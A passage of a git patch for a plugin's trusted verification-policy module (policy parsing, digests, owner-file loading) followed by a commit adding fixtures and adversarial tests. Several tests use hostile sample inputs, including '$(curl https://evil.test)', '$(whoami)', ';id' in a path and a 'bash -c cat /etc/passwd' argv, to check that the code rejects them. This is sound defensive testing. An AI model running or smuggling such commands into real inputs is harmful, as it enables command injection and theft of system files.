VERIFICATION_POLICY_VERSION) deny('invalid_format', `${path}.version`); + const commandsInput = optOwn(input, 'commands'); + const length = assertDenseArray(commandsInput, `${path}.commands`, MAX_COMMANDS); + const seen = new SET_CTOR(); + const commands = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.commands[${index}]`; + const snapshot = parseCommand(optOwn(commandsInput, STRING(index)), entryPath); + if (SET_HAS.call(seen, snapshot.command_id)) deny('duplicate_id', `${entryPath}.command_id`); + SET_ADD.call(seen, snapshot.command_id); + ARRAY_PUSH.call(commands, snapshot); + } + commands.sort((left, right) => compareText(left.command_id, right.command_id)); + const snapshot = freezeRecord(POLICY_ALLOWED_KEYS, { + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + commands: freezeList(commands), + }); + const canonical = canonicalJsonStringify(snapshot); + if (BUFFER_FROM(canonical, 'utf8').length > MAX_POLICY_CANONICAL_BYTES) deny('out_of_range', path); + return snapshot; +} + +export function canonicalVerificationPolicyJsonV1(input, path = 'policy') { + return canonicalJsonStringify(parseVerificationPolicyV1(input, path)); +} + +export function canonicalVerificationCommandJsonV1(input, path = 'command') { + return canonicalJsonStringify(parseVerificationCommandDescriptorV1(input, path)); +} + +function digestOf(label, snapshot) { + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(label, [canonicalBytes]); + return capturedFreeze({ + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +export function verificationPolicyDigestV1(input, path = 'policy') { + return digestOf(VERIFICATION_POLICY_DIGEST_LABEL, parseVerificationPolicyV1(input, path)); +} + +export function verificationCommandDigestV1(input, path = 'command') { + return digestOf(VERIFICATION_COMMAND_DIGEST_LABEL, parseVerificationCommandDescriptorV1(input, path)); +} + +export function verifyVerificationPolicyDigestV1(input, expectedDigestHex, path = 'policy') { + if (typeof expectedDigestHex !== 'string' + || expectedDigestHex.length !== POLICY_DIGEST_HEX_LENGTH + || !capturedTest(PRIVATE_SHA256_PATTERN, expectedDigestHex)) { + return false; + } + const actual = verificationPolicyDigestV1(input, path).digest; + return TIMING_SAFE_EQUAL(BUFFER_FROM(actual, 'hex'), BUFFER_FROM(expectedDigestHex, 'hex')) === true; +} + +function assertUntrustedStringParameter(value, path) { + assertBoundedString(value, path, PARAM_VALUE_MAX_BYTES); + if (!capturedTest(PRIVATE_LITERAL_PATTERN, value) && !capturedTest(PRIVATE_PATH_SEGMENT_PATTERN, value)) { + deny('shell_content_denied', path); + } + return value; +} + +function parseUntrustedParameters(input, path) { + if (input === undefined) return freezeRecord([], {}); + assertPlainObject(input, 'invalid_type', path, path); + const keys = sortedCapturedKeys(input); + if (keys.length > MAX_PARAMETERS) deny('out_of_range', path); + const seen = new SET_CTOR(); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + const code = classifyUntrustedKey(key); + if (code !== null && code !== 'unknown_key') deny(code, path); + assertParamName(key, `${path}.${key}`); + if (SET_HAS.call(seen, key)) deny('duplicate_parameter', path); + SET_ADD.call(seen, key); + const value = optOwn(input, key); + if (typeof value === 'string') { + values[key] = assertUntrustedStringParameter(value, `${path}.${key}`); + } else if (typeof value === 'number') { + values[key] = assertSafeInteger(value, `${path}.${key}`, Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER); + } else if (value === true || value === false) { + values[key] = value; + } else { + deny('invalid_type', `${path}.${key}`); + } + } + return freezeRecord(keys, values); +} + +export function rejectUntrustedExecutableContentV1(input, path = 'untrusted') { + assertNotProxy(input, path); + if (input === null || typeof input !== 'object') return; + assertDirectJsonClosure(input, path); + const walk = (node, nodePath) => { + if (node === null || typeof node !== 'object') return; + if (capturedIsArray(node)) { + for (let index = 0; index < node.length; index += 1) { + walk(node[index], `${nodePath}[${index}]`); + } + return; + } + const keys = ownKeysOrDeny(node, nodePath); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', nodePath); + const code = classifyUntrustedKey(key); + if (code !== null && code !== 'unknown_key') deny(code, nodePath); + walk(optOwn(node, key), `${nodePath}.${key}`); + } + }; + walk(input, path); +} + +export function parseUntrustedCommandReferenceV1(input, path = 'untrusted_command') { + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertPolicyBounds(input, path); + rejectUntrustedExecutableContentV1(input, path); + const keys = ownKeysOrDeny(input, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (key !== 'command_id' && key !== 'parameters') { + deny(classifyUntrustedKey(key) ?? 'unknown_key', path); + } + } + if (!hasOwn(input, 'command_id')) deny('missing_key', `${path}.command_id`); + const commandId = assertCommandId(optOwn(input, 'command_id'), `${path}.command_id`); + const parameters = parseUntrustedParameters( + hasOwn(input, 'parameters') ? optOwn(input, 'parameters') : undefined, + `${path}.parameters`, + ); + return freezeRecord(UNTRUSTED_COMMAND_ALLOWED_KEYS, { + command_id: commandId, + parameters, + }); +} + +function requireNormalizedAbsolute(value, path) { + if (typeof value !== 'string') deny('policy_options_denied', path); + assertSafeText(value, path); + if (!PATH_IS_ABSOLUTE(value) || PATH_RESOLVE(value) !== value) deny('policy_options_denied', path); + return value; +} + +function readEnvironment(env, path) { + const source = env === undefined ? process.env : env; + assertNotProxy(source, path); + if (typeof source !== 'object' || source === null || capturedIsArray(source)) { + deny('policy_options_denied', path); + } + const read = (key) => { + let descriptor; + try { + descriptor = capturedDescriptor(source, key); + } catch { + deny('policy_options_denied', path); + } + if (descriptor === undefined) return undefined; + if (!descriptor.enumerable || descriptor.get !== undefined || descriptor.set !== undefined) { + deny('policy_options_denied', path); + } + return descriptor.value; + }; + return { xdgConfigHome: read('XDG_CONFIG_HOME'), home: read('HOME') }; +} + +function defaultOwnerConfigDir(environment) { + if (typeof environment.xdgConfigHome === 'string' && environment.xdgConfigHome.length > 0 + && PATH_IS_ABSOLUTE(environment.xdgConfigHome) + && PATH_RESOLVE(environment.xdgConfigHome) === environment.xdgConfigHome) { + return environment.xdgConfigHome; + } + const home = typeof environment.home === 'string' && environment.home.length > 0 + && PATH_IS_ABSOLUTE(environment.home) && PATH_RESOLVE(environment.home) === environment.home + ? environment.home + : OS_HOMEDIR(); + requireNormalizedAbsolute(home, 'options.env.HOME'); + return PATH_JOIN(home, '.config'); +} + +export function verificationPolicyRoots(options = {}) { + assertNotProxy(options, 'options'); + if (typeof options !== 'object' || options === null || capturedIsArray(options)) { + deny('policy_options_denied', 'options'); + } + const optionKeys = ownKeysOrDeny(options, 'options'); + for (let index = 0; index < optionKeys.length; index += 1) { + const key = optionKeys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', 'options'); + if (!capturedIncludes(LOADER_OPTION_KEYS, key)) deny('unknown_key', 'options'); + } + const ownerConfigDir = hasOwn(options, 'ownerConfigDir') + ? requireNormalizedAbsolute(optOwn(options, 'ownerConfigDir'), 'options.ownerConfigDir') + : defaultOwnerConfigDir(readEnvironment( + hasOwn(options, 'env') ? optOwn(options, 'env') : undefined, + 'options.env', + )); + const dir = PATH_JOIN(ownerConfigDir, OWNER_POLICY_DIRNAME); + const file = PATH_JOIN(dir, OWNER_POLICY_FILENAME); + return capturedFreeze({ + scope: 'owner', + dir, + file, + }); +} + +function sameEntry(left, right) { + return left.dev === right.dev && left.ino === right.ino && left.mode === right.mode + && left.size === right.size && left.mtimeNs === right.mtimeNs && left.ctimeNs === right.ctimeNs; +} + +function requireOwnerControl(entry, kindPath) { + const effectiveUid = typeof process.geteuid === 'function' ? BigInt(process.geteuid()) : undefined; + if ((effectiveUid !== undefined && entry.uid !== effectiveUid) || (entry.mode & 0o022n) !== 0n) { + deny('policy_catalog_not_owner_controlled', kindPath); + } +} + +function catalogOpenFlags() { + return fsConstants.O_RDONLY | (fsConstants.O_NOFOLLOW ?? 0) | (fsConstants.O_NONBLOCK ?? 0); +} + +function assertNoDuplicateJsonKeys(text) { + const scopes = [{ object: false, keys: new SET_CTOR() }]; + let inString = false; + let escaped = false; + let stringStart = -1; + for (let index = 0; index < text.length; index += 1) { + const char = text[index]; + if (inString) { + if (escaped) escaped = false; + else if (char === '\\') escaped = true; + else if (char === '"') { + inString = false; + const scope = scopes[scopes.length - 1]; + if (scope.object) { + let cursor = index + 1; + while (cursor < text.length && (text[cursor] === ' ' || text[cursor] === '\n' + || text[cursor] === '\r' || text[cursor] === '\t')) { + cursor += 1; + } + if (text[cursor] === ':') { + let key; + try { + key = JSON_PARSE(STRING_SLICE(text, stringStart - 1, index + 1)); + } catch { + deny('invalid_encoding', 'policy'); + } + if (SET_HAS.call(scope.keys, key)) deny('duplicate_id', 'policy'); + SET_ADD.call(scope.keys, key); + } + } + } + continue; + } + if (char === '"') { + inString = true; + escaped = false; + stringStart = index + 1; + continue; + } + if (char === '{') ARRAY_PUSH.call(scopes, { object: true, keys: new SET_CTOR() }); + else if (char === '[') ARRAY_PUSH.call(scopes, { object: false, keys: new SET_CTOR() }); + else if (char === '}' || char === ']') { + scopes.pop(); + if (scopes.length === 0) deny('invalid_encoding', 'policy'); + } + } + if (inString || scopes.length !== 1) deny('invalid_encoding', 'policy'); +} + +function parsePolicyText(text) { + assertNoDuplicateJsonKeys(text); + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + deny('invalid_encoding', 'policy'); + } + return parseVerificationPolicyV1(parsed, 'policy'); +} + +async function readOwnerPolicyFile(file) { + let handle; + try { + handle = await FS_OPEN(file, catalogOpenFlags()); + } catch (error) { + if (error && error.code === 'ENOENT') return { present: false, text: undefined }; + if (error && (error.code === 'ENOTDIR' || error.code === 'ELOOP')) { + deny('policy_catalog_not_regular', 'policy'); + } + deny('policy_catalog_unreadable', 'policy'); + } + try { + const before = await handle.stat({ bigint: true }); + if (!before.isFile()) deny('policy_catalog_not_regular', 'policy'); + requireOwnerControl(before, 'policy'); + if (before.size > BigInt(MAX_POLICY_BYTES)) deny('policy_catalog_too_large', 'policy'); + const bytes = await handle.readFile(); + const after = await handle.stat({ bigint: true }); + if (!sameEntry(before, after)) deny('policy_catalog_changed_during_read', 'policy'); + if (bytes.byteLength > MAX_POLICY_BYTES) deny('policy_catalog_too_large', 'policy'); + if (bytes.length >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + deny('invalid_encoding', 'policy'); + } + try { + return { + present: true, + text: REFLECT_APPLY(TEXT_DECODER_DECODE, new TEXT_DECODER('utf-8', { fatal: true }), [bytes]), + }; + } catch { + deny('invalid_encoding', 'policy'); + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + deny('policy_catalog_unreadable', 'policy'); + } finally { + await handle.close().catch(() => {}); + } +} + +export async function loadOwnerVerificationPolicyV1(options = {}) { + const roots = verificationPolicyRoots(options); + const dirEntry = await FS_LSTAT(roots.dir, { bigint: true }).catch((error) => { + if (error && error.code === 'ENOENT') return undefined; + deny('policy_catalog_unreadable', 'policy'); + }); + if (dirEntry !== undefined) { + if (dirEntry.isSymbolicLink() || !dirEntry.isDirectory()) deny('policy_catalog_not_regular', 'policy'); + requireOwnerControl(dirEntry, 'policy'); + } + const catalog = await readOwnerPolicyFile(roots.file); + if (dirEntry !== undefined) { + const afterDir = await FS_LSTAT(roots.dir, { bigint: true }).catch(() => { + deny('policy_catalog_changed_during_read', 'policy'); + }); + if (!sameEntry(dirEntry, afterDir)) deny('policy_catalog_changed_during_read', 'policy'); + } + const policy = catalog.present ? parsePolicyText(catalog.text) : emptyPolicy(); + const digest = digestOf(VERIFICATION_POLICY_DIGEST_LABEL, policy); + return capturedFreeze({ + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + source: capturedFreeze({ + scope: 'owner', + present: catalog.present === true, + file: roots.file, + }), + policy, + digest, + }); +} + +export const VERIFICATION_POLICY_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + label: VERIFICATION_POLICY_DIGEST_LABEL, + command_label: VERIFICATION_COMMAND_DIGEST_LABEL, + bounds: capturedFreeze({ + max_depth: MAX_POLICY_DEPTH, + max_nodes: MAX_POLICY_NODES, + max_commands: MAX_COMMANDS, + max_argv_tokens: MAX_ARGV_TOKENS, + max_parameters: MAX_PARAMETERS, + max_canonical_bytes: MAX_POLICY_CANONICAL_BYTES, + default_timeout_ms: DEFAULT_TIMEOUT_MS, + default_output_bytes: DEFAULT_OUTPUT_BYTES, + default_error_bytes: DEFAULT_ERROR_BYTES, + }), + default_deny: capturedFreeze({ + network: DEFAULT_NETWORK_RECEIPT, + environment: DEFAULT_ENVIRONMENT_RECEIPT, + mutation: DEFAULT_MUTATION_RECEIPT, + resources: DEFAULT_RESOURCES_RECEIPT, + timeout_ms: DEFAULT_TIMEOUT_MS, + }), +}); + +capturedFreeze(parseVerificationPolicyV1); +capturedFreeze(parseVerificationCommandDescriptorV1); +capturedFreeze(parseUntrustedCommandReferenceV1); +capturedFreeze(rejectUntrustedExecutableContentV1); +capturedFreeze(canonicalVerificationPolicyJsonV1); +capturedFreeze(verificationPolicyDigestV1); +capturedFreeze(loadOwnerVerificationPolicyV1); +capturedFreeze(verificationPolicyRoots); From 5bc709521ccc7f8aa73cf056b07c93060f2a921b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 07:53:24 +0000 Subject: [PATCH 48/81] test(verify): cover focused and adversarial trusted-policy surfaces Pin valid owner-policy round trips, canonical identity, default-deny receipts, argv and domain edge cases, executable-content injection from profile/manifest/provider shapes, hostile descriptors, and content-free failures. Loader coverage uses owner-controlled fixtures only and does not execute commands or open a network. --- .../r1-verification-policy-fixtures.mjs | 66 +++ ...d-verification-policy-adversarial.test.mjs | 271 +++++++++++ .../r1-trusted-verification-policy.test.mjs | 454 ++++++++++++++++++ 3 files changed, 791 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-verification-policy-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-verification-policy-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-verification-policy-fixtures.mjs new file mode 100644 index 0000000..f93dd6f --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-verification-policy-fixtures.mjs @@ -0,0 +1,66 @@ +// Shared fixtures for the W14-P16A VerificationPolicyV1 tests. +// Pure data and tiny local helpers; no I/O and no product imports beyond +// the trusted-policy module under test. + +export const COMMAND_ID = 'unit-tests'; +export const EXECUTABLE = '/usr/bin/npm'; + +export function validCommand(overrides = {}) { + return { + command_id: COMMAND_ID, + executable: EXECUTABLE, + argv_template: ['test'], + ...overrides, + }; +} + +export function validParameterizedCommand(overrides = {}) { + return validCommand({ + command_id: 'file-tests', + argv_template: ['test', '--', '{file}'], + parameters: { + file: { type: 'path_segment', max_bytes: 64 }, + }, + ...overrides, + }); +} + +export function validPolicy(overrides = {}) { + return { + schema: 'codex-co-engineer.verification-policy.v1', + version: 1, + commands: [validCommand()], + ...overrides, + }; +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} diff --git a/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs new file mode 100644 index 0000000..e9a5b6e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs @@ -0,0 +1,271 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_COMMANDS, + MAX_POLICY_DEPTH, + parseUntrustedCommandReferenceV1, + parseVerificationCommandDescriptorV1, + parseVerificationPolicyV1, + rejectUntrustedExecutableContentV1, + verificationPolicyDigestV1, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + countingProxy, + trapTotal, + validCommand, + validPolicy, +} from './fixtures/r1-verification-policy-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('live proxies are denied with zero traps on every policy surface', () => { + const { proxy, counts } = countingProxy(validPolicy()); + assert.equal(errorOf(() => parseVerificationPolicyV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const digestCounts = countingProxy(validPolicy()); + assert.equal(errorOf(() => verificationPolicyDigestV1(digestCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(digestCounts.counts), 0); + + const commandCounts = countingProxy(validCommand()); + assert.equal(errorOf(() => parseVerificationCommandDescriptorV1(commandCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(commandCounts.counts), 0); + + const untrustedCounts = countingProxy({ command_id: 'unit-tests' }); + assert.equal(errorOf(() => parseUntrustedCommandReferenceV1(untrustedCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(untrustedCounts.counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', () => { + const { proxy, revoke } = Proxy.revocable(validPolicy(), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = errorOf(() => parseVerificationPolicyV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); + assert.equal(error.message.includes('revoked get'), false); + assert.equal(error.message.includes('TypeError'), false); +}); + +test('accessor properties are rejected and their getters never run', () => { + let reads = 0; + const getterPolicy = validPolicy(); + Object.defineProperty(getterPolicy, 'schema', { + enumerable: true, + get() { + reads += 1; + return 'codex-co-engineer.verification-policy.v1'; + }, + }); + assert.equal(errorOf(() => parseVerificationPolicyV1(getterPolicy)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + let throwingReads = 0; + const throwingCommand = validCommand(); + Object.defineProperty(throwingCommand, 'executable', { + enumerable: true, + get() { + throwingReads += 1; + throw new Error('getter bomb /etc/shadow'); + }, + }); + const error = errorOf(() => parseVerificationCommandDescriptorV1(throwingCommand)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(throwingReads, 0); + assert.equal(error.message.includes('/etc/shadow'), false); + assert.equal(error.message.includes('getter bomb'), false); +}); + +test('non-enumerable fields, symbol keys, and exotic prototypes are denied', () => { + const hidden = validPolicy(); + Object.defineProperty(hidden, 'version', { enumerable: false, value: 1 }); + assert.equal(errorOf(() => parseVerificationPolicyV1(hidden)).code, 'non_enumerable_property_denied'); + + const symbolled = validPolicy(); + symbolled[Symbol('injected')] = '/bin/sh'; + const symbolError = errorOf(() => parseVerificationPolicyV1(symbolled)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assert.equal(symbolError.message.includes('/bin/sh'), false); + + class SpoofedPolicy {} + const instance = new SpoofedPolicy(); + Object.assign(instance, validPolicy()); + assert.equal(errorOf(() => parseVerificationPolicyV1(instance)).code, 'invalid_type'); + assert.equal(errorOf(() => parseVerificationPolicyV1(new Map())).code, 'invalid_type'); + assert.equal(errorOf(() => parseVerificationPolicyV1(new Date())).code, 'invalid_type'); + + const nullProto = Object.create(null); + Object.assign(nullProto, validPolicy()); + assert.doesNotThrow(() => parseVerificationPolicyV1(nullProto)); +}); + +test('own undefined values, boxed values, and coercion hooks never contribute', () => { + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ version: undefined }))).code, + 'own_undefined_denied', + ); + let coerced = 0; + const sneaky = { valueOf() { coerced += 1; return 1; } }; + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ version: sneaky }))).code, + 'invalid_json_type', + ); + assert.equal(coerced, 0); + const boxed = validCommand({ command_id: new String('unit-tests') }); + assert.equal(errorOf(() => parseVerificationCommandDescriptorV1(boxed)).code, 'exotic_prototype_denied'); +}); + +test('cyclic, aliased, deep, and oversized payloads are rejected before effects', () => { + const cyclic = validPolicy(); + cyclic.self = cyclic; + assert.equal(errorOf(() => parseVerificationPolicyV1(cyclic)).code, 'aliased_reference_denied'); + + const shared = { marker: true }; + const aliased = validPolicy(); + aliased.first = shared; + aliased.second = shared; + assert.equal(errorOf(() => parseVerificationPolicyV1(aliased)).code, 'aliased_reference_denied'); + + let deep = { leaf: 1 }; + for (let index = 0; index < MAX_POLICY_DEPTH + 4; index += 1) deep = { wrapped: deep }; + const deepPolicy = validPolicy(); + deepPolicy.deep = deep; + assert.equal(errorOf(() => parseVerificationPolicyV1(deepPolicy)).code, 'value_depth_exceeded'); + + const wide = validPolicy({ + commands: Array.from({ length: MAX_COMMANDS + 1 }, (unused, index) => validCommand({ + command_id: `cmd-${index}`, + })), + }); + assert.equal(errorOf(() => parseVerificationPolicyV1(wide)).code, 'out_of_range'); +}); + +test('the closure gate precedes the closed vocabulary check', () => { + const unknownButHostile = validPolicy(); + unknownButHostile.unknown_key = { nested: unknownButHostile }; + assert.equal(errorOf(() => parseVerificationPolicyV1(unknownButHostile)).code, 'aliased_reference_denied'); +}); + +test('sparse and extended arrays are denied', () => { + const sparse = validPolicy(); + const commands = new Array(2); + commands[0] = validCommand(); + sparse.commands = commands; + assert.equal(errorOf(() => parseVerificationPolicyV1(sparse)).code, 'invalid_array'); + + const extended = [validCommand()]; + extended.extraProperty = true; + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ commands: extended }))).code, + 'invalid_array', + ); +}); + +test('non-finite and unsafe integers are denied', () => { + for (const value of [Number.NaN, Infinity, -Infinity]) { + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ timeout_ms: value }))).code, + 'invalid_json_value', + String(value), + ); + } + for (const value of [1.5, -0]) { + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ timeout_ms: value }))).code, + 'invalid_type', + String(value), + ); + } +}); + +test('executable path and argv hostiles stay closed', () => { + const paths = [ + 'npm', + './npm', + '../usr/bin/npm', + '/usr/bin/../bin/npm', + '/usr/bin/npm/', + '/usr/bin//npm', + '~/bin/npm', + '/usr/bin/npm.exe:ads', + '/usr/bin/n pm', + '/usr/bin/npm;id', + '/usr/bin/${SHELL}', + '/usr/bin/npm\u2044hack', + '/usr/bin/npm\u0000x', + ]; + for (const executable of paths) { + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ executable }))).code !== undefined, + true, + executable, + ); + } + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '$(whoami)'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '`id`'], + }))).code, + 'shell_content_denied', + ); +}); + +test('untrusted shell text in parameters is denied without echoing it', () => { + const payload = { command_id: 'unit-tests', parameters: { file: '$(curl https://evil.test)' } }; + const error = errorOf(() => parseUntrustedCommandReferenceV1(payload)); + assert.equal(error.code, 'shell_content_denied'); + assert.equal(error.message.includes('curl'), false); + assert.equal(error.message.includes('evil.test'), false); + assert.equal(error.message.includes('$('), false); +}); + +test('content-free errors never echo attacker keys, paths, URLs, or native stacks', () => { + const error = errorOf(() => parseVerificationPolicyV1(validPolicy({ + extra: { argv: ['/bin/bash', '-c', 'cat /etc/passwd'], url: 'https://steal.test' }, + }))); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('extra'), false); + assert.equal(error.message.includes('/bin/bash'), false); + assert.equal(error.message.includes('/etc/passwd'), false); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('at parse'), false); +}); + +test('rejectUntrustedExecutableContentV1 walks nested profile and provider shapes', () => { + const nestedProfile = { + name: 'review', + policy: { commands: [{ command_id: 'x', executable: '/bin/sh' }] }, + }; + assert.equal( + errorOf(() => rejectUntrustedExecutableContentV1(nestedProfile)).code, + 'executable_content_denied', + ); + const provider = { + claims: [{ command_id: 'unit-tests', network: 'allow' }], + }; + assert.equal( + errorOf(() => rejectUntrustedExecutableContentV1(provider)).code, + 'network_content_denied', + ); +}); diff --git a/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs b/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs new file mode 100644 index 0000000..49dd72a --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs @@ -0,0 +1,454 @@ +import assert from 'node:assert/strict'; +import { chmod, mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + DEFAULT_ENVIRONMENT_RECEIPT, + DEFAULT_MUTATION_RECEIPT, + DEFAULT_NETWORK_RECEIPT, + DEFAULT_RESOURCES_RECEIPT, + DEFAULT_TIMEOUT_MS, + VERIFICATION_POLICY_SCHEMA_ID, + VERIFICATION_POLICY_VERSION, + canonicalVerificationPolicyJsonV1, + loadOwnerVerificationPolicyV1, + parseUntrustedCommandReferenceV1, + parseVerificationCommandDescriptorV1, + parseVerificationPolicyV1, + rejectUntrustedExecutableContentV1, + verificationCommandDigestV1, + verificationPolicyDigestV1, + verificationPolicyRoots, + verifyVerificationPolicyDigestV1, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + validCommand, + validParameterizedCommand, + validPolicy, +} from './fixtures/r1-verification-policy-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(VERIFICATION_POLICY_SCHEMA_ID, 'codex-co-engineer.verification-policy.v1'); + assert.equal(VERIFICATION_POLICY_VERSION, 1); + assert.equal(VERIFICATION_POLICY_SCHEMA_ID.includes('4.0.0'), false); +}); + +test('a valid owner policy round-trips into a frozen detached snapshot', () => { + const input = validPolicy(); + const snapshot = parseVerificationPolicyV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.commands), true); + assert.equal(Object.isFrozen(snapshot.commands[0]), true); + assert.equal(snapshot.schema, VERIFICATION_POLICY_SCHEMA_ID); + assert.equal(snapshot.commands[0].command_id, 'unit-tests'); + assert.equal(snapshot.commands[0].executable, '/usr/bin/npm'); + assert.deepEqual(snapshot.commands[0].argv_template, ['test']); + input.commands[0].command_id = 'other'; + input.commands[0].executable = '/bin/sh'; + assert.equal(snapshot.commands[0].command_id, 'unit-tests'); + assert.equal(snapshot.commands[0].executable, '/usr/bin/npm'); + assert.equal(Object.isFrozen(input), false); + assert.throws(() => { snapshot.commands[0].command_id = 'mutated'; }, TypeError); +}); + +test('canonical identity and digest are deterministic across key and command order', () => { + const left = validPolicy({ + commands: [validParameterizedCommand(), validCommand()], + }); + const right = { + version: 1, + commands: [validCommand(), validParameterizedCommand()], + schema: VERIFICATION_POLICY_SCHEMA_ID, + }; + assert.equal(canonicalVerificationPolicyJsonV1(left), canonicalVerificationPolicyJsonV1(right)); + const digest = verificationPolicyDigestV1(left); + assert.equal(digest.algorithm, 'sha256'); + assert.equal(digest.domain, IDENTITY_DOMAIN); + assert.equal(digest.label, IDENTITY_LABELS.VERIFICATION_POLICY); + assert.match(digest.digest, /^[0-9a-f]{64}$/u); + assert.equal(verificationPolicyDigestV1(right).digest, digest.digest); + assert.equal(verifyVerificationPolicyDigestV1(right, digest.digest), true); + assert.equal(verifyVerificationPolicyDigestV1(right, 'ab'.repeat(32)), false); + const commandDigest = verificationCommandDigestV1(validCommand()); + assert.equal(commandDigest.label, IDENTITY_LABELS.VERIFICATION_COMMAND_DESCRIPTOR); +}); + +test('absent capabilities materialize exact immutable default-deny receipts', () => { + const snapshot = parseVerificationCommandDescriptorV1(validCommand()); + assert.deepEqual(snapshot.network, DEFAULT_NETWORK_RECEIPT); + assert.equal(snapshot.network.mode, 'deny'); + assert.deepEqual(snapshot.network.hosts, []); + assert.deepEqual(snapshot.environment, DEFAULT_ENVIRONMENT_RECEIPT); + assert.deepEqual(snapshot.environment.entries, []); + assert.deepEqual(snapshot.mutation, DEFAULT_MUTATION_RECEIPT); + assert.equal(snapshot.mutation.persistent, false); + assert.equal(snapshot.mutation.workspace, 'none'); 